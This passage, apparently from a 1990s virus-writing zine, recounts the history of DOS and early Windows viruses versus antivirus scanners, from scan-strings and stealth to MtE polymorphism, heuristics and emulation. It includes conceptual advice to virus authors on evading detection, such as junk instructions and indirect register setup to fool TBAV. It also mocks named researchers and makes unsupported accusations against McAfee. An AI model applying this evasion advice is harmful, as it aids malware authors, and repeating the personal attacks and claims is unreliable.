appears in the wild. It only depends on how soon the unknown virus (up to that time) infects someone's
computer who can find out there is a virus and can see some changes and send sample to some av
company. The usual way (just think) is to put it to some directory to analyze it. It depends how much people
familiar with viruses they have to process all the samples they have. As many times there is a lot of rubbish
in such incoming files, damaged files, and viruses of course.
Some minutes, hours or days later virus is roughly checked (usualy not analyzed as complex analyzis tooks
lots of time) and a scan-string (or whatever they use) is selected. If it is as easy as mentioned, it doesn't take
lots of time. The more it is complicated the more work it takes. If it takes so much work, or they do not
understand it at first look, one puts it into some group for later processing (if they will have some free time
but they usualy have not if there is too many new viruses). If it is more important - for example it was
reported in the wild, or customer have this virus, it must be processed immediately (or sooner, let's say).
I will show another example here - well known Slovak virus One_Half (it has several variants, but forget
about them for now): it appears in Slovakia and local anti-viruses had to fight him, even as it was a bit
complicated (the better is to say non-standard) to detect it. But there were no need for big foreign companies
(like Dr.Solomon's Toolkit) to add this virus to scanning as it was non-standard - it was not so easy to add it,
so they don't. Even dr.solomon was sold in Slovakia, but it wasn't able to detect One_Half for a months (only
some selected samples that were in virus collections, but no others ;-). When this virus gets out of Slovakia
and infects other countries, it becomes a problem for av companies and they have to solve it - if it is standard
or not - customers are requesting it. It takes up to weeks or months for some to do so (also because
One_Half appears in In-the-Wild test set of VB). This ignorancy helps One_Half to spread a lot until they
were able to detect it successfuly.
Was One_Half so amazing and great? In fact, it wasn't. It has only two unusual things that made him
famouse - the rest of it is rather simple and uninteresing. The first one (more important for detection) is
something what I call distributed decryptor. It is rather easy but it beats the principle of scanners - that's why
it was too hard for them to detect: decryptor consist of 10 instructions (all fixed) but they are not at the same
place (or chunk). Each instruction surrounded with couple of rubbish instructions (choosed from 10 one-byte
instructions like clc, stc, sti, and some other simplest ones) with jump is placed at random place in host file.
Jumps connects them in order to keep execution loop. Very simple, isn't it? One can very easily detect this
virus. But avers weren't able to. As it doesn't fit their scanning schemes - they weren't able to detect it
without writing special aditional routines. And they are busy and lazy, of course (as everyone is).
Another unusual thing in One_Half was slow encryption of disc. Each time you reboot, it encrypts two tracks
of hard-disc starting from the end (don't think about some strong encryption! it is simplest xor with constant
word value) but as long as you have virus you can't notice anything because it (same as if you have a stealth)
on fly encrypts-decrypts data in encrypted area. But if one remove the virus, there is no more on-fly
decrypting and part of disk is left encrypted (xored, in other words) and user can't access files, etc. This was
also untraditional and simple removing leads to reinstaling of disk - and avers have to prepare special
routines that decrypts disk as well (some of them doesn't even up to now, but One_Half is over in these
days). But this is not what I want to appoint, as it indirectly leads to destruction.
What you should take from this story? No matter how your virus is complicated or bombastic, it is only
valuable if it can complicate life to avers. Thats it.

flush
Tie your seatbelts, prepare for long adventure through virus history. I will list basic principles of war between
viruses and antiviruses to show you how the story was going on. Most probably I will not be able to keep it in
chronological order but I try to use logical order, to show main technologies and counteractions on both
sides.

The story begins long long time ago (sounds like a fairtale, isn't it?) when first viruses were written. Doesn't
matter which one exactly it was, the more important is that some of them appears on user's computers. At
that time this war begins and it is continuing and growing up to now.

The Begining
No matter how big invetion were first self-replicating algorhitms, viruses are not first programs that were able
to do so. It started with worms and other hardly-clasifieable pieces of code a time before virii. But viruses
make change and normal people having computers becomes infected.
The very first viruses all follows one of two basic schemes. File and boot viruses and some of them survives
up to now. Old boot viruses are quite simple: they are spread in boot sector of floppy discs, and on booting
from such a floppy it copies itself into partition table and becomes resident (useful if there is no hard disc in
computer). Once it is resident, it infects bootsectors of all floppies beeing writen. Thats all folks, all it fits into
one sector. Michelangello or Stoned fits into this class.
File viruses like Jerusalem uses simple appending parasitic infection, infects com or exe files (or both of
them). When infected file is executed, it usualy becomes memory resident and infects all executed files
since. Some of them even don't have double-infection check (like Jerusalem) and often runned programs can
become quite long. I think all you know basic principles so I'm not going to explain such a trivial things.

At that time situation was quite easy. May be some of you seen, for example scan19 - yes it detects 19
viruses! There were really few viruses at that time. How to deal with tivial viruses? Well, first antiviruses were
really stupid and slow. Any program is and unique sequence of instructions - that something what every
programmer understands. But what one (aver) can do if he (usualy) doesn't understand file structures? The
result were simple algorithms very simmilar to searching for text in text editor - a whole(!) file is checked for
specified string. This is origin of name "scan-string" which is a fixed sequence of bytes choosed from virus
body. Moreover, some of first antiviruses scans file as many times as many strings they have. One may
guess it is quite unefficient and slow. Sure! But at that time disks were really small (and computers slow as
well). This technology was biggest invetion in order to fight viruses ever, I can say. It survives up to today but
in modified forms - as viruses are still using fixed code (plain or encrypted or whatever) and they can be
easily identified this way.

Antiviruses are bussiness. A big bussiness if one have a look at NAI. Beginigs were quite different, as many
independent (free) antiviruses were available just to help people. But one can't stay competition with big
money - look at Microsoft to see why. Today, to keep track of a big number of new viruses a many peoples
are needed to work on antivirus for a full-time, and everyone needs money. And people have to buy (or
support) antiviruses as they affraid of virus. Many people around the world things that viruses have to
destroy something - thats why they don't like viruses. But noone cares that Windows crashes caused much
more destruction than viruses. Because it is normal. Weird, isn't it?
Well, this fear of viruses was started with biggest computer virus hoax ever, initiated by McAffee - in order to
make money, of course. It was Michelangello couple years ago, may be some of you remember it: McAffee
informed about upcomming big computer dissaster caused by extremly dangerouse virus Michelangello.
They estimated 20 milions of destroyed computers at activation date. 20 milions were too big number even in
those days as there weren't as many computers around the world as today. This hoax comes from publisher
to publisher and it grew bigger and bigger - and information about this computer apocalypse appears in many
countries. I remember dady of my schoolfellow forbid him to turn on his computer (Sinclair ZX Spectrum with
8 bit Z80 cpu!) because a virus can came to is through network (power network of 220V!) and it can be
destructed. Wow! Unbelieveable, isn't it? Even more that repair disc destroyed by Michelangello tooks few
seconds with diskedit. But noone mentioned it in this hoax, of course. As activation day passed, everyone
understoods I hope, too few computers were destructed (comparing to 20M) but this hoax succeed: people
starts really affraid of viruses, and antiviruses are sold worldwide - they become a big bussiness.

Old techniques of scanning (scan-strings)


I already mentioned first scanning methods, based on scan-strings (sequence of bytes selected from virus
body). If they are found in file, it is marked as infected. Some of first antiviruses scans whole file for such a
string, but later on they scanned only some specified area usualy used by viruses: begining of the file, end of
file, and/or around exe's entry-point or com's first jump target. Usualy aproximately 6kB were (or are)
scanned - it is quite little to load it fastly and quite enought for most of viruses - at least part of body should
be there. Scan-strings are checked at every position in loaded buffer, scanning is at suitable speed.
Here should I put little discussion about scan-strings and how to choose them: at first, I will mention other
forms of scan strings later on. Choosing scan-string is not as trivial as one may guess. At first, such a string
have to be in loaded buffer in any case. Scan string should be as short as possible (in order to save space
and scanning time), but as long as possible at the same time (in order to detect only this virus with no false
possitives). This sequence should be typical for virus (preferable this virus only), and not to be found in any
other regular file. If does, it is called false possitive identification. It is rather difficult to have no false
possitives with many short strings - as there are many programs and one simply can't have them all.
An example of really bad scan-string is e.g. E800005x, it is short, really typical for viruses. All you know
basic opcodes I assume from head, but I'll translate it to: call $+2, pop xx. But it can be found nearly in any
virus, and in many regular programs written in assembler. Hope you got the point.
Another discussion is if this string should identify more viruses at once, or one-and-only. If it identifies for
example huge part of Jerusalem family, it is advantage that it may identify also new mutations. But it is not
suitable identification for cleaning, as they partialy differ from version to version. Today's trend is to have as
exact identification as possible. But even today it is not possible. This leads to another extrema, typical for
Dr.Solomon's Toolkit: to identify versions even it there are not. An example: virus named Z (pure fiction),
there is only one version in real, but in aver's collection it is separated into Z.A and Z.B, and solomon
identifies them as two versions but most of others not. But if you take Z.B infected file and replicate it, it is
caught by solomon as Z.A. What's going on? Well, they have selected scan-string also from host file. Usualy
noone takes care as avers in many cases are not replicating files and only some selected samples are
travelling round the world - so they may get 100% hit rate on some virus - but only in virus collections avers
have and not in real life. Remember this: they have only few samples (usualy), and whey are not active (not
executed). The Tremor story later on tells you why.

Early battles - fooling simple scanners


Situation stabilizies: there were some viruses, but avers weren't able to beat them completly. Moreover,
once it is bussines, they don't want to win this battle totaly as there will be no war anymore and no bussines
anymore. Think with me: scanners were available and finding viruses at suitable rate. Of course there are
still peoples not using updated scanners all the time so viruses can survive, but new viruses once they are
found are added to scanners and can be easily identified. Too bad for virus-writer spending days or weeks to
create nice piece of code to be breaked in a minutes. You have to invent something. There were two
answers - stealth and encryption.

Stealth counter-attack
Now let's think how scanners works in that time: scanner runned on computer infected with virus opens each
file and checks it for some id string. How you can hide? You can become "invisible" once you have total
control over computer (elementary under DOS) and hide files beeing scanned. This is called stealth (due to
U.S. Bombers B-2 called "Steath" - invisible for radars) and we may talk about two implementations for files:
disinfection on-fly (each opened file is disinfected and again infected on closing) and true stealth (all file
operations are checked and modified). And for boot viruses a sector redirecting is used.
Computer is infected with stealth virus. Virus is active in memory, user runs his favorite scanner and it is
searching for strings in files - but as it opens files with viruses, it can't find anything as virus hides itself. Nice,
isn't it?

Memory scanning
Imagine you are an aver (as you have think for both sides, otherwise you can't rule this war) - what would you
do with stealth viruses? Simplest answer is to scan memory as well, and if virus is found, ask user to boot
from clean floppy and run scanner this way - then there is no virus in memory and all is as before with regular
viruses. Easy easy.
Memory scanning in old times was simmilar to file scanning. All memory is checked for same strings as files,
if found - a virus is reported in memory. To speedup the things some antiviruses doesn't scan whole memory
but only possible locations - they may skip ROMs, antivirus itself, etc. But it differs from one implementation
to another. Memory scanning is not a big technical mirracle.
Once virus is found, some antiviruses were able to patch virus to be inactive and to continue without need to
boot from clean floppy. But due to many viruses appearing later it is not usual to do so today as there are too
many viruses and you can't write such a routines for every of them. AVP, for example performs such a
activity even now, but only a for few most common viruses. However it is quite userful for lazy users.
Inactivating can be done easily by replacing virus handlers with jump to original entry-point of hooked
interrupt. Also usualy a virus body is erased (except jumps of hooked interrupts in order to keep interrupt
chain functional) not to report virus again. It must be done in interrupt-shield (cli) of course to protect for
asynchronouse break-downs.

Another idea how to partialy inactivate virus in memory presented by some antiviruses is known-entry-point
methhod. There are two basic interrupts under dos: int 21h for files and int 13h for sectors (boot viruses). If
you know the original entry point (you know this version of dos or you have stored this entry-point at
installation process) you may find out if some virus is in memory and you can access functions without virus'
influence. Of course, for int 13h you must check not for real interrupt pointer as it points to DOS, but for
internal pointer in DOS that points to ROM as boot viruses are loaded (and hooks int13) before DOS does it.
But this technology in general has many weak points and it is forgotten today. As even legal programs may
redirect those interrupts because Microsoft designed its "OS" this way. For example caches, networks, etc
redirects this interrupt. Novell netware for example uses redirecting int21 instead of MS's recomended
network redirector facility for network implementation (because it is implemented in versions 4+). If you call
int21 entrypoint directly you can't scan Novell's disks. This technology caused many crashes and is unusable
in generic case, you may check my another article about this: why not to use direct disk access which deals
with these things.

Encryption
Once stealth viruses can be found in memory, another tryies comes with encryption expetiments. It started
with first encrypted viruses that had main virus body encrypted but there must be at least short decryption
routine. And this routine is still a fixed sequence of bytes - and it can be identified with a scan-string. One
may guess there is no improovement. Actually, not a big one, but it starts development in this direction.
Wild-card scan-strings
Situation complicates a bit. Avers are forced to you one scan string, for example only fixed 16 bytes of
decryptor. Btw: some stupid avers choosed scan-strings from virus body - e.g. xored each time with another
value, so they were able to catch only samples they have, but nothing else :-) Well, let's think about simple
xor routine, quite fixed, however there are several variable bytes: encryption constant (let's talk about one
byte) and starting offset. As they are not at the same place, the 16 bytes of decryptor (pure example) is
broken into 3 chunks of fixed bytes, biggest of them let's say 6 bytes long. And avers have a problem: 6 bytes
are really not enought for scan-string, as they are not absolutely unique - part of unvaluable loop can be
found in other programs (see discussion on scan-strings above). Oops, how to deal with it? (Think once
again as aver) What would you do? Once you have some technology implemented, functional and tested it is
best for you to use it at maximum. Scan-strings ... well, how about wildcards? Thats it: all you need is to
have one-byte substitution like '?' in shell patterns. In this case you can have still 16 bytes long scan-string
with 3 variable bytes. It fits the requirements and all is as before - you have a scan-string to identify virus, all
is okay. The most important is they were able to deal with it, but it tooks some time - and it gives viruses
possibility to be spread. This is first implementation of wildcards in avir's scan-string history, but not last
change in scan-string methodology of course...
Another problem that appears here is encryptor vs. body dilema. Once it identifies virus by encryptor only, it
can't make a difference between versions, moreover it can't make difference between different viruses with
same (or roughly same) decryptor. Well, cleaning problem can be solved by easy de-xoring by cleaning
routine - you must to do so if you want to clean encrypted virus - and you can check the difference after
decrypting. But this is important change in methodology - as there no exact identification before cleaning and
identification must be done once again at cleaning process in different conditions (a cleaning routine or
scanner executed once again can do it). This problem still remains and I will return to it later on with MtE.

Variabilizing encryption
Avers handled encryption with wild-cards, you have to think about something new again, unless you want to
be caught in a days. Once virus have some simple encryptor, you can improove it a bit: you can increase
variability not to be handled by '?' wildcards by inserting of nop's or any simple junk instructions. Then your
decryption instructions are not at fixed distances and simple wildcards will but be able to handle them. For
example, if you have two fixed instructions together, a scan-string can be choosed from both of them. But if
you insert 1-5 nops, scan-string with '?' will not deal with it (unless there are 5 scan-strings ;-) Simple, and it
can't be handled by current methods.

More wild-cards
How avers can find such encryptors? They implemented another type of wildcard for it - '*' equivalent for
variable number of random bytes. It tooks some aditional work but it as handled. Depends on implementation
how many random bytes they allow - if it is fixed, or a limits are included in scan-string, or whatever. Scan-
strings becomes differ from avir to avir. They were still able to handle all viruses with scan-strings but there
become a big number of strings to be used that slows down scanning itself (today it looks like a kids game
but viruses were at much the lower level than now too). Some avirs starting using some hierarchy in strings,
methods of strings and substrings (smaller set for generic identification and if found, more detailed set), pre-
sorting of strings into radix-tables, etc. It depends but all of them follows basic principles and fulfills the
requirements.
Interesting idea to speed-up scanning process is single-point scan-string, checked at fixed relative offset to
some important file position (e.g. entrypoint, file start or file end). Such a string can be shorter, as it is
checked only once at fixed offset (comparing to strings checked in whole loaded part of file) that decrease
possibility of false attacks (and it saves memory as well). It is much faster to scan for such a strings, and it is
easier to distinguish between versions. If a single-point string is well choosen it can be only 4-6 bytes long,
comparing to 12-18 bytes of regular string.

Way from variable encryption to metamorphism


Once you are modifing a decryptor with some trivial junk instructions (there is no reason to put there some
harder one, as all was needed to beat fixed strings, and nops can do that as well as other instructions) you
can do even something more. Scan string is fixed sequence of bytes, but if you change and indexing register,
it becomes different sequence of bytes. Decryptors started to change in every infection, changine indexing
register, decrypting instruction, loop method, etc. Encryption scheme is pretty visible, however it slightly
increases byte-level variability up to level when even wild-card scan-strings can't be used at all, or they can't
be used at suitable reliability.
This is something we can call variable encryptors or metamorphism - everyone call it in different way, avers
clasify it even as a low polymorphical engines in order to show how clever they are. However, now there
were no matter of junk instructions (are there or not) once valueable bytes of decryptor instructions can't be
checked. It was presented in many forms in viruses and it requests new answer from avers.

Algorithmic scanners
is the name of technology they present. As tries with mask for scan-string (to filter-out part of byte beeing
variable) doesn't show suitable results, a something new had to be found. Scanners started to use (parallely)
short routines to distinguish if piece of code is a known decryptor or not. It checks for some code sequences
or forms, if it fits hard-coded requirements, file is reported as infected by virus. Usualy they had as many
algorithm routines as many decryptors they want to recognize. As scheme of encryptors they are checking
for follows really easy rules, it can be tested with satisfieable results for positive infection.
Simple encrypted viruses were checked this way. But most of top avirs are not using this for trivial virii now
(some of them does, i.e. Avast! which always (ok, usualy) rates in VB's 100% award group - but you can see
tests - it can't identify even simply encrypted viruses exactly). So most of top avirs are using some kind of
tracing (i.e. emulating) because it is required today to handle many of complicated viruses, in some sort of
generic decryptor - routine which is able to decrypt simply encrypted viruses (or more complicated, it again
depends on implementation).

Inoculating
It was another interesting things antiviruses offers in old times - may be some of you remember for example
TNT Antivirus (it is gone) that does it. Functionality is simple - viruses usualy uses some marks to tag which
file was already infected, not to infect it again. (all this is nearly same for boots/mbrs). All you are using some
variable set in file, or virus body (some bytes) already found in file, or changing time/date of file. By
inoculating those atributes are set and virus will not infect it again. Sounds nice, but unfunctional in general :)
In that time there were not as many viruses, but it becomes imposible too - you simply can't inoculate files
agains all viruses. If they are checking for seconds of modification there can be two different viruses that set
it to two different values, so you can't cover both of them. Yes, viruses aren't testing files only for their flags,
but for some limits too. But some of them you can't fake - for example some values in exe header, or
overlays (program might become unfunctional).
These are the reasons why it can't be used for large number of viruses or for all viruses - it can be done for
one or some small number of viruses. Moreover, noone todays spends a lot of time with analyzis of viruses
today - most of them are analysed in a short time, and you have to know them completely to do inoculation,
otherwise it may damage inoculated files. Well, in other words I don't think there are any reasons to take care
about inoculaton today.

"The Final solution"


This way some av companies called their antivirus systems another time ago. They presented "the final
antivirus that can deal with every virus without knowing it". Sounds good, isn't it? And it is more-less true. Do
you have any idea what is it? Well, checksumming, thats it. Idea is simple, and it works in many cases: all
files that can be infected are chekcsummed (some kind of crc is calculated), plus filesize, some bytes from
header, entrypoint, etc are backuped. Then, if virus infects some file (it must not be stealth) a change in
lenght or contens is detected. First checksummers were really slow, as they checked crc of whole file, and it
takes some time to load it. But it can be speeded-up rapidly by checksumming only important areas (header,
entrypoint, fileend) with same success. Well, once some change is detected, file can be repaired by trying
some of available repairing schemas (typicaly there are only few of them how viruses inserts itself into file)
and if result of some of them matches original crc-s, file is successfully repaired.
Sounds nice, but it has several problems (lucky, lucky): at first it can't even detect stealth viruses. But if they
are not in memory, they are still valueable. Another big problem are lazy users - because most of them are
using (and downloading) antivirus only when they have some suspect or if they are really infected - and
there is no sense to make crc snapshot of infected files ;) And finally, there are still viruses (and this is how
you can avoid checksummer's success) that are not infecting files standardly, or modifies some bytes deep
in host code, or whatever that doesn't match implemented schemas.

Checksummers didn't get a big success for these reasons, but they are still useable in many cases and even
more, with combination of heuristical cleaner they can be more efficient. But there are still lazy users which
are not using antivirus until they are infected. Because of it this can't be a really big weapon against viruses
in global. But there are still antiviruses are using it, and can reach a big efficiency of detecting and cleaning.

MtE breakthrough - polymorphism


Dark Avenger, world most famouse virus writer from Bulgaria, become famouse mostly because of a 3kB
long object file he released. It is known as MtE 0.9 beta (short name of Self-Mutating Engine) which made
many avers not to sleep for many nights. This smashing breakthrought was many times plagiated by some
virus coders, but I think it was never (or nearly never) as good as MtE. What it was? Imagine situation of
scanners before: all were based on scan-strings with wildcards, at most some easy checking routines
(usualy not). But Dark Avenger informed the world in FidoNet message-group (I don't think that some of
current guys on scene remembers fido) about his library that that can encrypt virus in 4.2 bilion different ways
(4G you should understand) that can beat all scanners. Moreover it was real.
MtE started new era called polymorphism. It was able to generate a decryptor containing many instructions
withou visible schematics in it. Random maps of registers, several accessing modes, fake codeflow
alternatives, all was so unusual. Only schematic thing was end of loop - usualy dec/dec/jnz sequence, as
avers decided there is always this sequence. Most of them thinks it also now because Bontchev said so, but
there isn't :) I got this result on thousands of generated samples I made - with some probability it creates
other loop instructions sequence.
MtE 0.9 was distributes with sample virus - non-resident com/exe infector, which was many time patched by
lamers that are not able to write its own virus (with MtE library or not) and many very-simmilar viruses with
MtE appears. A usual name of sample virus is MtE:Dedicated, because it contains a string: "This virus is
dedicated to Sarah Gordon who wanted to have a virus named after her." (hope I remember it right). Here we
have - famouse and hated (and foolish) Sarah - even guys from av scene doesn't like her theoretical stuff,
but they can't say it clearly as we can :) She became famouse (except it is a woman ;-) due to her
investigation about virus writers and their origins. Funny but unusable and she sure hopes it is forgotten now
;) Well, but back to MtE: Also library MtE 1.0 appears in the world, but it was nearly forgotten as it doesn't
bring new features, and most viruses are using original version 0.9.

Algorithmic scanners once again


MtE goes above the limits of old antiviruses and presents some completely new idea they have to fight with.
Some unreliable detectors appears that checks for some secondary flags, like entry-points, or some code-
sequence, or file-tagging, but they weren't quite functional. It tooks rather long time (months!) until a good
detector was written and build into antiviruses. Partialy at that time it tooks many days until virus can get from
country to country - unlikely today. But no matter of that there were a big compentition between antiviruses to
catch all samples of MtE. A many independent test were made (it was never before or after) testing
antiviruses on thousands of samples if it can find all MtE samples. It tooks lots of time to all antiviruses to
reach 100% hit-rate.
Again a question of exact detection appears. Recomentations of CARO suggested the sollution (and some
antiviruses follows it, like TBAV in that time) that polymorphic library should be part of virus name, separated
by semicolon. For example MtE:Pogue.A - rest of hiererachical virus name should be dot-separated as
before to display versions/revisions. However, it was quite difficult for avers to decide if there is a MtE
encryptor at all, they weren't able to go under this generated encryptor.

How they were detecting MtE? Well, a algorithmical scanners were this solution once again. But withou
visible schema it wasn't so easy. Most of antiviruses used (and mostly they are using also now) an
acceptage-disassembler. The idea is simple: MtE generates only some instructions, loop is always
terminated by dec/dec/jnz (well, not always, but no matter now) all you need is to know is given instruction
can be generated by MtE and the size of instruction (to know where the next instruction is). If a jnz is found,
you need to check if it is in backward direction and there are two dec-s before it. Well, and to solve
conditional paths - just try to pass both of the using recursion. If test is passed and backward jnz is found, a
MtE virus is reported. Such a test is fast enought, hits all infected samples and has no (or really really little)
false positives. And it can be as little as a bit more than 300 bytes as it is illustrated in TBAV.
Thats why some of antiviruses can't report exactly what virus is encrypted by some polymorphical library -
they are checking (usualy) if decryptor can be generated by coresponded poly engine. This technology is
intended to be non-destructive analyzis (not to load this code once again) in comparison with emulation.

Plagiating MtE - polymorphic era


Success of MtE was never replicated. At first I think none of routines were as good as MtE, they were
different - as usualy noone understoods Darkie's code. But to be as successful as MtE it is not enought to
write a good polymorphic engine - this is something I want you to understand - as current avir technologies
can handle polymopric viruses mostly without problems. To be as successful as MtE one have to make
simmilar breaktrough - something that is incompatible with current thinking of antivirus guys.
When MtE kicks all the avers pretty hard, a many virus coders started to write simmilar engines (as once
MtE was already detectable). First one I remember was TPE - Trident Polymorphic Engine (released by
Trident group). There was a big fear from AV side of it because all they sill remembers MtE's fear. However,
TPE wasn't as successful as MtE in world becase most of viruses weren't spread enought to be important.
TPE technology was a bit different than MtE's - it uses several schemes of main encryptor, picking one of
them plus some number of introduction schemes placed before encryption loop. It was rather schematic, but
there were many schemes so it wasn't visible for the first view. Hovever, some detecting routines used
simmilar algorithm as for MtE, some detected each scheme in encryptor and checks it. In general, TPE as
handled much easier by avers - as they knew how to deal with it already.

I will not make big differences between each polymorphical engine as they are principialy unimportant. Some
engines were really easy piece of cake for avers, some made them a lot of problems. Some noticeable poly
engines usualy only reach some limits of antiviruses but never goes above them - thats why other poly
engines weren't so successful - because MtE settuped a rather high limit. I can show you it on SMEG - all
why it was so dangerouse for avers is because it can generate a really long decryptors.
Well, a big fear of avers can be, if many polymorphical viruses (or engines) appears in a short time, each of
them non-trivial (on some of limits of scanners), it will be really hard to implement specialised scanning
routines for all of them, if they are reported in-wild.
Heuristics
Well, this is a another big chapter, developed together with other technologies. A time ago, heuristic was only
a experiment how one can catch unknown virii. But wasn't quite relieable, widely it was introduced by TBAV
(sure everyone knows). As we have completely dedicated article to this topic I will not describe it here - only
to describe its reasons and influence in history.
Finally, with more and more viruses comming each month, some avers tried to find out something that can
detect even those they are not able to add so fast - to detect unknown viruses, in general. In fact it has same
proposal as checksumming already mentioned. For a long time heuristics was some kind of avers alchemy to
improove their hit-rates. It was magic that everyone admire (avers, virus-writes, gurus, coders and regular
lamers), but noone trust. Funny, isn't it? First for wide public, surely not best, and mostly fooled by virus-
writers is TBAV. TBAV puts all its power into fast heuristics but it has primary weak point - it was passive
instead of active (disassembling instead of emulation) and it wasn't able to go through encryptors. Another
bad thing for TBAV were displayed flags so anyone can see what internal flags were found on given file. And
using documentation you can find out what TBAV suspects on your virus - and you can tune up not to be
detected by TBAV easily. Soon many viruses started to be anti-tbav that means not detected by tbav's
heuristic by default (today it is some sort of standard). It is too bad for heuristic - as it is designed to catch
new viruses, but if they are all designed not to be detected by such a heuristic, there is no way to do so.
TBAV's heuristic finds its death in these things.
TBAV (followed by some plagiats) uses, as I already mentioned, a passive method or disassembly (in other
words) that analyses code (instructions) and detects some suspecting schemas - like setting registers and
calling interrupts, etc. There were a lot of flags (nearly for every letter of alphabet) for many things and they
are detected in different ways. But it was rather easy to fool, simply if it looks for mov ah,40 int 21, all you
need is to do mov ah, 3f inc ah int 21 and TBAV will not complain. For this reason anviruses that still uses
passive analyzis as main weapon combines it with register emulation (tbav as well) that can (a bit) keep a
track of values in registers. When int 21 is found, for example, a 10 instructions before are likely analyzed to
find out values of registers. It works in many cases and do not work in many cases as well.
Most funny thing was decryptor detection. It didn't work in many cases, and then tbav runs to detect
instructions from encrypted area - and usualy it founds many suspected instructions there of course. Well, I'm
not here to judge TBAV or other avir, for this proposal we have another article.

Another more powerful heuristic is presented by AVP (but it is usualy hidden as avp displays regulary
detected viruses at first), by DrWeb and Nod-iCE. They are using active heuristics (emulating as much as
possible) and are able to detect much more suspected activities. Also, you don't see any flags there, so it is
harder to fool them. But AVP's heurstic as well as Dr.Solomon's are setuped to be less-sensitive as they can
detect plenty of viruses by scan-strings and they do not need to be as successful on uknown viruses as
others. For this reason of course they have less false-positives as well (our experiments some time ago
shows that hit-rate of Dr.Solomon's heuristic for example is round about 70%).
Active heuristic (emulation) is destructive to code, as it emulates as much as possible, and it must be trickily
combined with scanning. But it simplifies scanning as emulation can simply go through decryptors and then
av can detect virus exactly as it is already in decrypted state. For this reason it is also called as generic-
decryptor in some antiviruses - if they are using emulation only for this. But heuristics finally after years of
beeing unsure becomes a standard, and as it is showed by Nod-iCE and DrWeb, it can be really relieable.
This what emulation gives us. However top antiviruses today uses combination of both methods.

Weak point of passive heuristic (or disassembly) is disassembly itself: there is difficult to find out values of
registers even in simple cases. Of course it depends on implementation of heuristic. Also any encryption, or
data-depended or highly-structured code can't be understood by disassembly-based heuristic scanner. As
heuristic scanner looks for typical structure of instructions of viruses (searching for executable files,
accessing and modifying them, becoming resident, etc) do this things in some tricky way, not clearly and
visible.
To fool emulation is much more difficult. Emulation typical executes code of virus, like in regular computer,
establishing some circumstances and testing if code is performing usual virii activity. At first, emulators are
limitied by its definition - they are much slower than regular machine, so long decryptors or routines jumping
long time each to other are aborted on a timeout - because heuristic can't hang for a long time on one file.
Then there are limits of processor - only one type of processor can be emulated (more-less) perfectly. You
can test processor if it works in the way it should: undocumented (but mostly unknown!) instructions, may be
some badly implemented instructions in their emulator (its hard to find). However, it is just work for couple of
minutes for them to implement another instruction. But there are also other limits - machine can't be
emulated completly: entire of file can't be loaded (imagine loading 500k exe file), virtual machine doesn't
work like it should - many of interrupts may not work, things doing by other parts of system are not also
completly emulated, i/o ports usualy doesn't work (may be some easies of them are emulated, but they can't
work with all of them), etc. Hardest for avers should be reaching limits of emulator, because they can't
extend their limits every time: memory length, file loading, emulation speed.

Cracking Windows
Have you ever crack a window? Just take a rock, and throw it to the window. Easy, isn't it? All right, I'm not
going to write about it, but about real Windows - Microsoft's revange to the rest of the world. Time ago, with
Win3.x world was devided between ones that doesn't like Windows (or even hate) and to the ones that likes
Windows. (who of them used it, it doesn't matter now). Simmilar it was at the virus scene - most of them
stayed at DOS level for three main reasons - there were no need to write for Win and DOS was good
enought, it was less documented and finally many of coders weren't able to code something for Windows.
Now it is a bit changed. Microsoft rocks the world with Windows 9x and turned everything to be PE-ized.
Well, history repeats:

Windows 3.xx
First Windows viruses were simple examples. At first, a file format is a bit changed - NE has extra fields,
there are different circumstaces in protected mode, but interrupts still works and things are more-less similar.
So the first viruses were simple non-resident infectors. And all avers needed to do is to implement scanning
of secondary entrypoint in NE. Virus was pretty visible, simple scan-string can be used. Later I remember a
big rumours about first resident viruses in Windows. A many discussions started if viruses will stay under
DOS or will move under Windows. Today I think all you know whats true. But Windows are more complicated
- there are more files beeing target of infection - DLL for example, and more things to infect in them.
Interesting example was virus that infects exported labels in DLL, for example exported function XyzA,
instead of regular entry-point was infected. What scanner must search for in this case? It has to go through
all the exports! And there can be a lot of them that will decrese speed of scanning rapidly. It is still interesting
idea. Only way it was handled by avers was scanning file-end (what they usualy do) for string, and oops -
virus is there. But if the things are more complicated to scan, some encryption for example or not to be
located on some easy determinable place - it will be really bad for avers (they'll have to emulate code at
every export label).
Memory scanning is also not possible in a way it was for scanners. Under Windows 3.xx one can do what he
wants - some viruses for example for this reason goes to Ring 0, but antivirus can do the same to scan all
the memory. But there is of course more memory to be scanned and it is rather slower. Today memory
scanning in Windows is not that prefered. Instead of it, a resident scanners are used more widely, as they
are more consistent now with operating system (Win 9x) and there is not as big hunting for memory as it
were under DOS with Bill's world famouse 640k limit.

Windows 95/98
was a real Microsoft's smash. Some of users tried to ignore it, but time shows that Win95 changed the world
- everyone start using it. Today virus writers must to focus on this platform, because there are lot of users.
First tries for Windows 95 started at the time when only beta version was available. VLAD promptly prepared
first virus for Win95, and they spend a lot of time with exploring the details - it was Bizatch (by
Quantum/VLAD). But their virus did not work under final Win95. The reason why it didn't work is simple - may
be some of you know book called "Inside Windows 95". A lot of userful things regarding windows internals is
published there - it was also published before Win95 was released. For this reasons, programmers at
Microsft got order to changed some important things in Win95 to be incompatible with the book already
written (to deny access to internal things). Also magic numbers of imports were changed there, and imported
label for example FileOpenA was no longer correctly linked at load time.
Another interesting is a Bizatch story. Because avers has access to beta version of this virus (well there are
some guys at virus scene that can trade internal things with avers without remorse) and they firstly assumed
it is not functional. Of course, a real version they also got later on. But they named it Boza (well, all-around-
the-world-hated Vesselin Bontchev (even avers hate him because of his ego)) - because he doesn't want to
please a virus author. But - CARO rules (setuped by Vesselin!) says that if virus calls itself in some way, this
name should be choosed primary. And Bizatch is: "Please note: name of this virus is [Bizatch] written by
Quantum of VLAD". Instead of it Vesselin find a name Boza (from bulgarian alcoholic drink) - with no
connection to original virus (this is the worst case suggested by CARO naming rules). Everyone at the scene
was angry about avers, of course.

Forget about flame wars now. Scanning - that what is interesting. Windows 95 were 32-bit, but format they
used - PE, was used even time ago. Windows NT 3.x used it as well as win32s extension to 3.xx versions. At
first what one can expect from 32bit file format - all offsets and pointers are 32bit, of course. Other principles
are more-less simmilar to NE - there is primary entry point, several segments can be defined, many exported
functions (for 32bit DLLs), etc. But things are same as before - to scan for simple virus (non-encrypted) all is
needed to load entry point of file and scan for some bytes - all is as before, only PE loader is needed.
Now let's see what weapons avers have against the Windows viruses. At first we have a look at oldies
scanning methods: scan-string scanning can be used in a same way as before. Checksummers may also do
its work but a PE (or NE) schemes must be implemented there. The hardest part is heuristics and generic
decryption (well, or both at the same time). For PE a 32bit emulator must be programmed and at the present
time I don't know about any antivirus having it fully functional DrWeb is preparing it, but not yet... For this
